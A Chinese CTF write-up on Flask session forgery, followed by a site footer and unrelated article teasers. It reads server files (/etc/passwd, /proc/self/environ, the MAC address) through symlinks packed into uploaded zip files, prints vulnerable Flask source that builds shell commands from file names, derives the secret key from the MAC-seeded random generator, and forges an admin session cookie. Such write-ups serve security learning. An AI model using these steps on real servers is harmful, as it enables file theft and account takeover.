flask session机制

news2024/11/15 13:28:23

信息收集

主页是一个登陆界面其他按钮点击不了,源代码也没什么东西。

 除了admin用户不能直接登陆,其他用户都可以。

打开以后是一个文件上传,然后根据提示只能上传zip文件,我们随便上传一个 

我在zip文件里面写了一个/etc/passwd然后,发现实现了cat这个文件的功能。

然后再linux中有一个软链接,

然后把test存入zip中,

zip -ry 1.zip test  

上传后发现出现了/etc/passwd的命令,我们就可以更加深入的查找环境变量

ln -s /proc/self/environ link #环境变量

zip -ry out.zip link

 注意DUWSGI_INI=/app/uwsgi.ini

uWSGI是一个Web服务器,它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器(如nginx,uWSGI等服务器)与web应用(如用Flask框架写的程序)通信的一种规范。

 读取/app/uwsgi.ini

ln -s /app/uwsgi.ini us
zip -y us.zip us

 然后尝试读取一下/app/main.py

发现里面没什么有用的,所以我们还要找出源码在哪里。

然后搜索别的wp发现可能是buu环境的问题

正确的应该是

[uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app
logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log

 然后直接访问/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py出源码,整理得

hard_t0_guess_n9f5a95b5ku9fg为当前得文件名

from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and 
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)

然后发现,index中有一个模板,index.html,应该是上面得目录下,templates文件,return render_template('index.html', forbidden=1)

index.html的真实路径就是/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html

 需要我们是admin用户,然后看网站时session

所以我们需要知道密钥是如何构成得

查找密钥 

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

源代码得前几行就给出了

种子是通过random.seed(uuid.getnode())生成的。而uuid.getnode()又是将MAC地址转换为10进制。那么我们通过程序中的任意文件读取来获取网卡地址。不就能得到种子了
读取/proc/net/dev可以知道服务器上的网卡。接着/sys/class/net/eth0/address可以知道MAC地址 

ln -s /sys/class/net/eth0/address mac
zip -y mac.zip mac
提交mac.zip,得到02:42:ac:10:9e:a1 

 这里因为源码是app.config['SECRET_KEY'] = str(random.random()*100)所以这里也是100,让皇后python2 和python3运行出来得随机种子是不一样得,所以得看服务端用得哪个版本,建议从pyhotn3到python2如果不对,都试试。

伪造密钥

import random
import sys
mac = "02:42:ac:10:9e:a1"
print(int(mac.replace(":", ""), 16))#转换为10进制
random.seed(int(2485377867425))
SECRET_KEY = str(random.random() * 100)
#根据程序中修改
print(SECRET_KEY)

   然后就需要伪造admin的session

这里用到了github 中下载的一个源码,flask_session_cookie

思考: 

 自己的小问题:本来以为用jwt就可以搞定,但是格式有一部分不一样,这里面有一个时间戳的概念

格式类似于这种 eyJ1c2VybmFtZSI6InRlc3QifQ.XC7SPg.sV9_ueBW2e4kCoY0sxh14dxsQiY 由三部分组成 eyJ1c2VybmFtZSI6InRlc3QifQ Base64加密的数据 XC7SPg 时间戳 sV9_ueBW2e4kCoY0sxh14dxsQiY 数据签名。重点在于这个。通过密钥进行签名。防止被篡改

[HCTF 2018]admin

打开就是一个登陆注册,先注册admin然后已经被注册过了,就会想会不会是把用户名再改回admin然后获得flag。

看看 

登陆后发现有三个功能, 上传,改密码,忘记这个可以忽略着重看这两个

 然后代码审计发现密钥ckj123 

  和我们想的一样改为admin就可以,

开始伪造session

 首先把网站的session进行解码

python3 flask_session_cookie_manager3.py decode  -c  ‘session’

{"_fresh":true,"_id":{" b":"MmE0NWU2OTY3ZDkyZmU1MTBiMjA4Zjc4YzI0NzUyZTc5OTFhZDNmMTcxNzAyZWU0MGQ2OTdlNGNlMTkzZDZhNmM1Nzk3Y2ZhYmY3YzJkMmRkMzdkN2ExM2M3YTU0NmQzZDdhZjQzZjAzNWUwZDZhMzIzNjljYjZhMzdkZTZlNWY="},"csrf_token":{" b":"NGYxOGQ1M2YzMTQ3MTM5NWVkNTU2YzY2NjMyOGYzNDNkMTQ5ZTU1NQ=="},"image":{" b":"QlVmNg=="},"name":"admin","user_id":"10"}

name改成admin

然后开始伪造admin

试了好久都是报错

'{"_fresh":true,"_id":{" b":"2a45e6967d92fe510b208f78c24752e7991ad3f171702ee40d697e4ce193d6a6c5797cfabf7c2d2dd37d7a13c7a546d3d7af43f035e0d6a32369cb6a37de6e5f"},"csrf_token":{" b":"4f18d53f31471395ed556c666328f343d149e555"},"image":{" b":"BUf6"},"name":"admin","user_id":"10"}'

然后翻了好几篇文章,发现是需要改变格式把括号去掉"b",变成b'相当于变成了python的格式

{'_fresh': True, '_id': b'2a45e6967d92fe510b208f78c24752e7991ad3f171702ee40d697e4ce193d6a6c5797cfabf7c2d2dd37d7a13c7a546d3d7af43f035e0d6a32369cb6a37de6e5f', 'csrf_token': b'4f18d53f31471395ed556c666328f343d149e555', 'image': b'BUf6', 'name': 'admin', 'user_id': '10'}

 

 太难了不容易,原本解码的时候也报错,然后pip3 install flask模板才成功运行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/137140.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

prometheus监控报警部署Alertmanager

Prometheus将告警分为两个部分:Prometheus 和 Alertmanager。其中Prometheus配置告警触发规则,对指标进行监控和计算,将再将告警信息发送到Alertmanager中。Alertmanager对告警进行管理,比如合并抑制等操作。 wget https://github…

10.移动端笔记-响应式布局

1.响应式开发 原理:使用媒体查询针对不同宽度的设备进行布局和样式设置,从而适配不同的设备 2.响应式布局容器 响应式需要一个父级做为布局容器,配合子级元素实现变化效果 原理:在不同屏幕下,通过媒体查询改变这个…

HAProxy的安装

1、将HAProxy上传到opt目录下 2、 解压到/usr/local/src tar -xvf haproxy-1.5.18.tar.gz -C /usr/local/src 3、进入解压后的目录,查看内核版本,进行编译 cd /usr/local/src/haproxy-1.5.18 uname -r make TARGETlinux310 PREFIX/usr/local/haproxy …

Keil MDK 配置详解与调试技术

工程配置介绍① 通用配置选项;② 操作系统选项;③ 勾选后可以减小镜像尺寸,加快运行速度;④ 浮点配置;⑤ 加载简要配置,分散加载情况需要配置;编译器输出选项;可执行…

今年你拿到了几个月的年终奖?

近期听到最多的三个消息:阳了 、 裁员 、 年终奖。 今年无疑是非常艰难的一年,无论国内还是国外裁员貌似从年初到年末从未停止过,加上疫情放开之后,大部分人都加入了羊群的行列,让我们的生活雪上加霜。 腾讯今年也陆…

结构化分析方法

目录 1.概述 2.数据流图 3.结构图 4.一个例子 4.1.需求 4.2.数据流图 4.3.结构图 5.辅助工具 5.1.数据字典 5.2.加工说明 1.概述 结构化方法是世界上第一个软件开发方法学,用来指导从需求分析、到设计开发各个阶段该怎么样做,采用什么样的方法…

ubuntu22.04搭建qemu环境测试内核

ubuntu22.04搭建qemu环境测试内核安装qemu创建qemu目录编译内核编译文件系统启动qemu安装qemu sudo apt-get install qemu krokodilkrokodil-SY-ZL-H110N-D3V:~/workspace$ dpkg -l | grep qemu ii ipxe-qemu 1.21.1git-20220113.fbbdc392…

R语言GD包基于栅格图像实现地理探测器与连续参数的自动离散化

本文介绍基于R语言中的GD包,依据栅格影像数据,实现自变量最优离散化方法选取与执行,并进行地理探测器(Geodetector)操作的方法。 首先,在R语言中进行地理探测器操作,可通过geodetector包、GD包等…

Qt扫盲-QSS概述

QSS概述一、概述二、详细一、概述 QSS 其实是Qt样式表,Qt样式表是Qt界面的一种强大的机制,除了通过继承QStyle已经可以实现的功能外,它还允许您自定义窗口组件的外观。Qt样式表的概念、术语和语法很大程度上受到HTML层叠样式表(CSS)的启发。…

作为网络工程师,你知道什么是VLAN 跳跃攻击吗?

您听说过 VLAN 跳跃吗?这是黑客用来访问他们无权进入的网络的一种技术。在本文中,我们将探讨什么是 VLAN 跳跃、它的工作原理以及恶意行为者如何利用它。我们还将了解可用于执行 VLAN 跳跃的工具以及企业如何保护自己免受这些攻击。 一、什么是VLAN&…

商业智能BI工具评估指南

随着行业软件业务功能的不断完善,同行业软件日趋趋同,竞争更加白热化。同时,随着企业数字化转型的深入,企业自身对数据的使用需求越来越强烈。在用户的业务处理过程中,在业务软件内直接给用户提供数据分析结果具有更高…

认识python和python基础知识点

目前python版本分为python2和python3,主流都是使用Python3,因为python2到2020年开源社区就不在维护了,目前公司开发使用也基本都是python3.下面的演示基于python3 Python的3.0版本,常被称为Python 3000,或简称Py3k。相对于P…

基于Java springboot 疫情在线网课管理系统

🍅 作者主页 超级帅帅吴 🍅 欢迎点赞 👍 收藏 ⭐留言 📝 🍅 文末获取源码联系方式 📝 文章目录一、前言介绍1.1 背景及意义1.2 系统运行环境二、系统设计2.1系统架构设计2.2角色功能图2.3登录时序图设计三、…

文件系统的认识

文件系统磁盘磁盘的物理结构磁盘的存储结构磁盘的逻辑抽象结构对磁盘组进行管理创建和删除文件时,os做了什么?创建一个文件时,os做了什么?删除一个文件,os做了什么?制作软硬链接软连接和硬链接区别制作静、…

Vue 使用过程中的问题总结(npm Nodejs Vue Vue-cli)

目录 关系图示 vue和webpack 的关系 Node.js npm package.json 有什么作用? Vue2 和 Vue3的区别 Vue-cli的版本区别 Vue在VsCode中的常见配置 Vuter Live server Prettier vscode vue 自动格式化 Vue.js devtools 常见报错 Vue 报错error:0308010C:di…

数学建模学习笔记-算法(线性规划模型)-下(例题运用)

目录 1.线性规划的基本公式 例题: ​编辑​编辑 1.符号 2.基本假设 3.模型的分析与建立 那么可以得出目标函数是 约束条件是 一.固定风险水平,优化收益 二.固定盈利水平,极小化风险 三.设置一个投资偏好系数S 语法解析 代码 输出结…

CET6 历年真题原词复现 核心词汇 做题技巧 听力拿分技巧汇总(这篇文章是英语四六级考试最后的版本,谢谢大家一路陪伴)

话不多说直接进入 这次是最后一次 也是最用心的一次关于CET6的整理,CET4很简单,我认为没有必要去整理或者帮助各位同学,cet4只是cet6的前置任务罢了,但要是你说你考完cet4就收手了,不考了,不考6级了。我只…

(十一) Docker network

Docker network一、概述1.1、简介1.2、常用基本命令1.2、作用二、网络模式2.1、四种模式介绍2.2、容器实例内默认网络IP生产规则三、模式说明1、bridge2、host3、none4、container5、自定义网络1、概念2、没有自定义网络时3、自定义网络4、Link5、自定义bridge网络与默认bridge…

寒假每日一题W2D1——选数异或

题目描述 给定一个长度为 n 的数列 A1,A2,⋅⋅⋅,An 和一个非负整数 x,给定 m 次查询,每次询问能否从某个区间 [l,r] 中选择两个数使得他们的异或等于 x。 输入输出格式及数据范围 输入输出样例 思路 ①对于两个数的异或值为x,可以化简为&…

RHCE第二天之chrony服务部署详解

文章目录一、chrony服务器介绍二、安装与配置三、chrony服务部署四、chronyc 的常见命令五、chronyc sources 输出结果解析一、chrony服务器介绍 ①Chrony是一个开源自由的网络时间协议 NTP 的客户端和服务器软软件。它能让计算机保持系统时钟与时钟服务器(NTP&…